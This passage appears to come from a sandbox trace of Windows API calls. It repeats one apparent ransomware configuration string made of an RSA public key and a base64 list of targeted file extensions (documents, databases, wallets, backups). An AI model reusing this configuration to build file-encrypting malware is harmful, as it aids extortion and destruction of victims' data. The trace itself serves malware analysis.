sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA 